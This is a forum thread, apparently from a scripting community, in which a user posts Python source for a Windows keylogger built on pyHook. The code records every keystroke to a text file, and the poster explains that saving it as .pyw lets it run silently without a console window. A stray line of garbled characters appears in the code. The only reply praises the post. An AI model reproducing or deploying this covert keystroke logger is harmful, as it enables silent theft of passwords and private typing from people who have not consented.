Results 1 to 2 of 2

Thread: First Python - Key recorder.

  1. #1
    Join Date
    Dec 2006
    Location
    Banville
    Posts
    3,914
    Mentioned
    12 Post(s)
    Quoted
    98 Post(s)

    Default First Python - Key recorder.

    This is my first python program. you need python, pyHook, and win32 pythoncom. You should save this as a .pyw if you wan't it to run silent with no console, or .py to run with console to tell you everything. It outputs to a file where you saved it call record.txt

    This is not against the rules, as you must CONCIOUSLY execute the source.

    Code:
    # -*- coding: Utf-8 -*-
    
    import pythoncom, pyHook, py_compile
    py_compile.compile("keylogger.py")
    
    def OnKeyboardEvent(event):
      open('Record.txt', 'a+').write(event.Key+' ')
      print 'MessageName:',event.MessageName
      print 'WindowName:',event.WindowName
      print 'Key:', event.Key
      print 'KeyID:', event.KeyID
      print '---------------------------'
       
      # return True to pass the event to other handlers
      return True
    chin = '灓捡灓捡⁆⁁'+' ″″‴′‵″‴′″'
    
      
    # create a hook manager
    hm = pyHook.HookManager()
    # watch for all mouse events
    hm.KeyDown = OnKeyboardEvent
    # set the hook
    hm.HookKeyboard()
    # wait forever
    pythoncom.PumpMessages()
    chin is the errors I got.
    The jealous temper of mankind, ever more disposed to censure than
    to praise the work of others, has constantly made the pursuit of new
    methods and systems no less perilous than the search after unknown
    lands and seas.

  2. #2
    Join Date
    Apr 2007
    Posts
    581
    Mentioned
    1 Post(s)
    Quoted
    2 Post(s)

    Default

    Good job
    I never messed with Python but I have met a few people who used it. :P Looks very confusing.

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Runescape Account Creator [Python]
    By bobng in forum Python/Perl Help and Tutorials
    Replies: 9
    Last Post: 09-01-2014, 05:58 PM
  2. (help request thread)[python]
    By bevardis in forum Python/Perl Help and Tutorials
    Replies: 0
    Last Post: 03-01-2009, 09:04 PM
  3. [Python] Screenshot taker and uploader
    By bobng in forum Python/Perl Help and Tutorials
    Replies: 9
    Last Post: 11-03-2008, 11:09 PM
  4. Making a python webserver
    By bobng in forum Python/Perl Help and Tutorials
    Replies: 0
    Last Post: 10-23-2008, 11:02 PM
  5. [Python] Desktop background changer
    By bobng in forum Python/Perl Help and Tutorials
    Replies: 2
    Last Post: 10-20-2008, 02:52 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •